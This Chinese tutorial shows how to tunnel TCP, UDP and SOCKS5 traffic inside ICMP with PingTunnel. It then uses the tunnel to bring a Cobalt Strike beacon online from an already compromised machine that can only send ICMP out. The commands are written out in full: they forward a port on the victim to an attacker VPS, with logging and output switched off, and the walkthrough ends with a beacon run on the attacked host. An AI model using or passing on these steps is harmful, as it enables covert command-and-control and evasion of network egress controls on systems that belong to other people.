利用PingTunnel上线cobalt strike

简介: 利用PingTunnel上线cobalt strike

pingtunnel 是tcp/udp/sock5 流量伪装成icmp流量进行转发的工具

640.png

安装服务端

  • 首先准备好一个具有公网 ip 的服务器,假定域名或者公网 ip 是www.yourserver.com
  • 从releases下载对应的安装包,如 pingtunnel_linux64.zip,然后解压,以root权限执行
sudo wget (最新release的下载链接)
sudo unzip pingtunnel_linux64.zip
sudo ./pingtunnel -type server

(可选)关闭系统默认的 ping

    echo 1 >/proc/sys/net/ipv4/icmp_echo_ignore_all

    安装客户端

    • 从releases下载对应的安装包,如 pingtunnel_windows64.zip,解压
    • 然后用管理员权限运行,不同的转发功能所对应的命令如下
    • 如果看到有 ping pong 的 log,说明连接正常

    转发 sock5

    pingtunnel.exe -type client -l :4455 -s www.yourserver.com -sock5 1

    转发 tcp

      pingtunnel.exe -type client -l :4455 -s www.yourserver.com -t www.yourserver.com:4455 -tcp 1

      转发 udp

        pingtunnel.exe -type client -l :4455 -s www.yourserver.com -t www.yourserver.com:4455

        Docker

        也可直接用docker启动,更方便。参数同上

        • server:
        docker run --name pingtunnel-server -d --privileged --network host --restart=always esrrhs/pingtunnel ./pingtunnel -type server -key 123456

        client:

        docker run --name pingtunnel-client -d --restart=always -p 1080:1080 esrrhs/pingtunnel ./pingtunnel -type c

        PingTunnelcobalt strike一起用

           这个实验主要想说明端口转发,假设场景拿下一台机器icmp出网只有1234端口出网。

        第一步在自己公网vps设置监听

        640.png

        在拿下客户机运行如下命令本地8001端口转发到公vps1234端口

        pingtunnel.exe -type client -l :8001 -s192.168.254.133 -t 192.168.254.133:1234 -tcp 1 - noprint 1 -nolog 1

        640.png

        在公网vps设置两个监听器一个是127.0.0.1 8001 一个是公网vps 1234

        640.png

        可以看到CS上反弹回来

        640.png

        监听器127.0.0.1生成beacon运行在被攻击机上


        640.png

        640.png

        192.168.254.133模拟的是公网vps

         640.png



        相关文章
        |
        安全 Linux Shell
        【内网安全-CS】Cobalt Strike启动运行&上线方法&插件
        【内网安全-CS】Cobalt Strike启动运行&上线方法&插件
        1192 0
        【内网安全-CS】Cobalt Strike启动运行&上线方法&插件
        |
        2月前
        |
        安全 Linux 数据安全/隐私保护
        小白学习Cobalt Strike4.5(一)
        小白学习Cobalt Strike4.5(一)
        40 0
        |
        2月前
        |
        数据安全/隐私保护
        Cobalt Strike4.0修改指纹信息
        Cobalt Strike4.0修改指纹信息
        11 0
        |
        6月前
        |
        编译器 C语言 C++
        聊聊Cobalt Strike 4.1的 BOF
        聊聊Cobalt Strike 4.1的 BOF
        |
        7月前
        |
        安全 Windows
        小白学习Cobalt Strike4.5(二)
        小白学习Cobalt Strike4.5(二)
        147 0
        小白学习Cobalt Strike4.5(二)
        |
        7月前
        |
        Java C# C语言
        小白学习Cobalt Strike4.5(五)1
        小白学习Cobalt Strike4.5(五)1
        135 0
        |
        7月前
        |
        安全
        小白学习Cobalt Strike4.5(四)1
        小白学习Cobalt Strike4.5(四)1
        |
        7月前
        小白学习Cobalt Strike4.5(四)2
        小白学习Cobalt Strike4.5(四)2
        |
        7月前
        |
        Windows
        小白学习Cobalt Strike4.5(五)2
        小白学习Cobalt Strike4.5(五)2
        |
        11月前
        |
        机器人 数据安全/隐私保护 Python
        Cobalt Strike的多种上线提醒方法(上)
        Cobalt Strike的多种上线提醒方法
        341 0